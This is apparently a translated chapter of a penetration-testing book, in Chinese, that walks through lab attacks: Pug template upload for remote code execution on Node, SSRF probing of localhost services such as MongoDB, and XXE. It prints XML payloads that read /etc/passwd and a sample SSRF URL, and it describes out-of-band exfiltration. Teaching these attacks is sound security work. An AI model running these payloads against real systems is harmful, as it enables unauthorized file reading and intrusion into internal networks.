在实验中,我们将在Node应用程序上实现代码上传和远程执行。在示例中,文件上传功能允许上传任何文件。不幸的是,对于Node应用,我们不能像PHP语言那样,通过Web浏览器调用文件,实现文件的执行。因此,在这种情况下,我们将使用动态路由端点,尝试呈现Pug文件的内容。如图3.33所示,端点读取文件的内容,并且认为是Pug文件,因为默认目录存在于Views目录中,这就是漏洞所在。此端点还存在路径遍历和本地文件读取漏洞。

0333

图3.33

在上传过程中,文件处理程序模块将该文件重新命名为随机字符串,并且不带扩展名。在页面的上传响应内容中,存在上传文件的服务器路径位置。利用此路径信息,我们可以使用/drouting执行模板注入攻击,实现远程代码执行。

既然我们知道底层应用程序是Node(JavaScript),那么我们可以通过Pug上传什么样的静荷并用于执行?回到之前使用的简单示例。

执行远程代码上传攻击。

0334

图3.34

0335

图3.35

0336

图3.36

服务器端请求伪造(SSRF)通常容易被误解,并且在表述方面,经常与跨站点请求伪造(CSRF)混为一谈。虽然这个漏洞已经存在了一段时间,但实际上大家对这个漏洞还不是很了解,特别是其带来的严重后果。我们来介绍一下SSRF是什么以及为什么会产生这个漏洞。

服务器端请求伪造通常用于访问本地系统、内部网络或某种迁移。现在通过一个简单的示例来理解 SSRF。假设有一个公共网站应用程序,允许用户通过互联网的网址上传配置文件图片。您登录该站点,访问个人配置,然后单击按钮,从 Imgur(公共图像托管服务)更新配置信息。您提供图像网址并单击提交。接下来发生的事情是服务器创建一个全新的请求,访问Imgur站点,抓取图像(可能会执行一些图像操作以调整图像大小—imagetragick),将其保存到服务器,并给用户发送成功消息。如您所见,我们提供了一个URL,服务器获取该URL并获得图像,然后将其上传到数据库。

我们最初向 Web 应用程序提供URL,以便从外部资源获取配置文件图片。但是,如果我们将图像网址指向http://127.0.0.1:80/favicon.ico,会发生什么?这将告诉服务器,不需要访问Imgur,仅需要从网站服务器的本地主机(自身)获取favicon.ico。如果我们能够获得200条消息或使个人资料图片来自于本地的图标,我们就会知道可能存在SSRF漏洞。

网站服务器运行在80端口,如果我们尝试连接到http://127.0.0.1:8080(这是一个除本地主机之外,其他主机无法访问的端口),会发生什么情况?这非常有趣。如果我们能得到完整的HTTP请求/响应数据包,而且可以在本地对端口8080发出GET请求,那么如果我们发现易受攻击的Jenkins或Apache Tomcat服务,会发生什么?即使这个端口没有对外公开,我们也许可以突破控制这个设备。如果我们开始请求内部地址http://192.168.10.2-254,而不是127.0.0.1会怎样?回想一下那些网站扫描工具,如果获得内部网络地址,那么扫描工具会重新发挥作用,可以用来发现内部网络服务的漏洞。

发现SSRF漏洞后,您可以做以下工作。

(1)在本地回环接口上访问服务。

(2)扫描内部网络并与这些服务进行交互(GET/POST/HEAD)。

(3)使用FILE://,读取服务器上的本地文件。

(4)利用AWS Rest接口。

(5)横向移动到内部环境中。

在图3.37中,我们在Web应用程序上发现了一个SSRF漏洞,综合利用该漏洞。

0337

图3.37

让我们来看一个真实的例子。

我们知道应用程序本身正在监听端口3000。我们可以使用Nmap工具从外部对设备进行扫描,并发现当前没有其他的Web端口开放,但是有什么服务仅可用于localhost开放呢?为了弄清楚,我们对127.0.0.1的所有端口进行暴力扫描。我们可以使用Burp Suite和Intruder工具完成这个任务。

0338

图3.38

如图3.40所示,您将看到端口28017的响应长度远大于所有其他请求。如果打开浏览器访问网址:http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017,就可以利用SSRF漏洞访问MongoDB网站界面,如图3.41所示。

0339

图3.39

0340

图3.40

0341

图3.41

您应该能够访问所有链接,但需要借助 SSRF 漏洞。要访问 serverStatus(http://chat: 3000/serverStatus?text=1),如图3.42所示,您必须使用SSRF攻击方法并跳转到下面的网址。

0342

图3.42

服务器端请求伪造漏洞的危害可能非常大。服务器端请求伪造漏洞不是新漏洞,目前发现的SSRF漏洞数量依然在不断增加。由于SSRF漏洞允许攻击者在基础网络内部进行迁移,因此通常会造成其他关键服务的暴露。

XML 是可扩展标记语言的缩写,主要用于发送/存储易于理解的数据。XML eXternal Entities(XXE)是指应用程序中XML解析器漏洞。应用程序中的XML解析器具有允许文件上传、解析Office文档、JSON数据甚至Flash类型游戏等功能。当解析 XML 时,不正确的验证可能导致攻击者读取文件,发起拒绝服务攻击,甚至执行远程代码。从宏观角度来看,应用程序具有以下需求:(1)解析用户提供的XML数据;(2)实体的系统标识符部分必须在文档类型声明(DTD)内;(3)XML解析器必须验证/处理DTD并解析外部实体。正常XML和恶意XML的对比如表3.1所示。

表3.1

正常XML文件

恶意XML文件

<?xml version="1.0" encoding="ISO-
8859-1"?>
<Prod>
<Type>Book</type>
<name>THP</name>
<id>100</id>
</Prod>

<?xml version="1.0" encoding="utf-
8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<xxx>&xxe;</xxx>

上面,我们有一个普通的XML文件和一个定制的读取系统的/etc/passwd内容的XML文件。我们来看一看,是否可以在真实的XML请求中注入恶意XML请求。

XXE实验

本实验需要自定义请求配置,有一个VMWare虚拟机可用于XXE攻击。

下载后,在VMWare中打开虚拟机并启动它。在登录界面中,您无须登录,但需要获取系统的IP地址。

设置浏览器。

在加载页面后,查看页面的HTML源代码,会有一个通过POST请求提交的隐藏字段。XML内容如下所示。

<?xml version="1.0" ?>
<!DOCTYPE thp [
         <!ELEMENT thp ANY>
         <!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>

在这个例子中,指定XML版本为1.0,DOCTYPE指定根元素是thp,!ELEMENT指定任何类型,并且!ENTITY设置book字符串“Universe”。最后,在XML输出中,我们希望从解析XML文件中打印出实体内容。

这通常是您在发送XML数据的应用程序中看到的内容。由于控制了POST数据中的XML请求数据,因此我们可以尝试注入恶意实体。默认情况下,绝大多数XML解析库都支持SYSTEM关键字,该关键字允许从URI读取数据(包括使用file://协议从系统本地读取数据)。因此,我们可以创建实体读取/etc/passwd文件。正常XML和恶意XML的对比如表3.2所示。

表3.2

原始XML文件

恶意XML文件

<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>

<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book SYSTEM
"file:///etc/passwd">
]>
<thp>Hack The &book;</thp>

XXE实验——读取文件

0343

图3.43

在之前的攻击中,我们能够在<thp>标签中获得响应。如果看不到响应或遇到字符/文件限制,我们怎样把数据发送到带外(OOB)?我们可以提供远程文档类型定义(DTD)文件来执行OOB-XXE,而不是在请求静荷中定义攻击。DTD是具有完整结构的XML文件,它定义了XML文档的结构、合法元素及属性。为了方便起见,DTD 文件包含所需的攻击/渗透静荷,这将帮助我们解决许多字符限制的问题。在实验示例中,我们将使易受攻击的 XXE 服务器请求托管在远程服务器上的DTD文件。

新的XXE攻击将分以下4个阶段进行。

设置攻击设备和XXE-OOB静荷。

0344

图3.44

在重新发送新修改的请求后,我们现在可以看到被攻击者服务器首先读取payload.dtd文件,处理该文件,并向端口8888上的NetCat监听程序发送第二个Web请求。当然,GET请求是base64编码的,我们需要对请求数据包解码。

这只是您可能遇到的各种网络攻击的一小部分,目的是开阔眼界,了解这些新框架如何引入旧的和新的攻击方式。许多常见的漏洞和应用程序扫描程序,往往会忽略这些更复杂的漏洞,因为这些漏洞是与语言或框架相关的。我的主要观点是,为了对目标进行充分的审查,您需要真正理解语言和框架。